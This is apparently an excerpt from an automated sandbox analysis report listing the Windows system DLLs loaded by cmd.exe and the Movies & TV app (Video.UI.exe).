Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: twinui.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: sharedui.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: vccorlib140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msvcp140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: concrt140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msvcp140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msvcp140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: concrt140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.ui.xaml.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: rometadata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.applicationmodel.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: threadpoolwinrt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.staterepositoryclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.ui.xaml.controls.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: uiamanager.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.ui.core.textinput.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.system.profile.retailinfo.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.media.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.graphics.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.ui.xaml.phone.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.energy.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.devices.enumeration.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: wuceffects.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: profext.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.media.playback.mediaplayer.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mfplat.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: rtworkq.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.media.mediacontrol.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mfmediaengine.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.media.devices.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.media.playback.proxystub.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: devdispitemprovider.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: ddores.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.web.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: defaultdevicemanager.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: comppkgsup.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mfmp4srcsnk.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mfcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mfsvr.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msvproc.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msauddecmft.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mfperfhelper.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: resampledmo.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msmpeg2vdec.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.graphics.display.brightnessoverride.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.graphics.display.displayenhancementoverride.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.media.protection.playready.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: wpnapps.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.networking.backgroundtransfer.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.applicationmodel.lockscreen.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: wincorlib.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: lockappbroker.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.security.authentication.web.core.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: microsoftaccountwamextension.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: windows.applicationmodel.background.timebroker.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: biwinrt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe	Section loaded: msasn1.dll	Jump to behavior
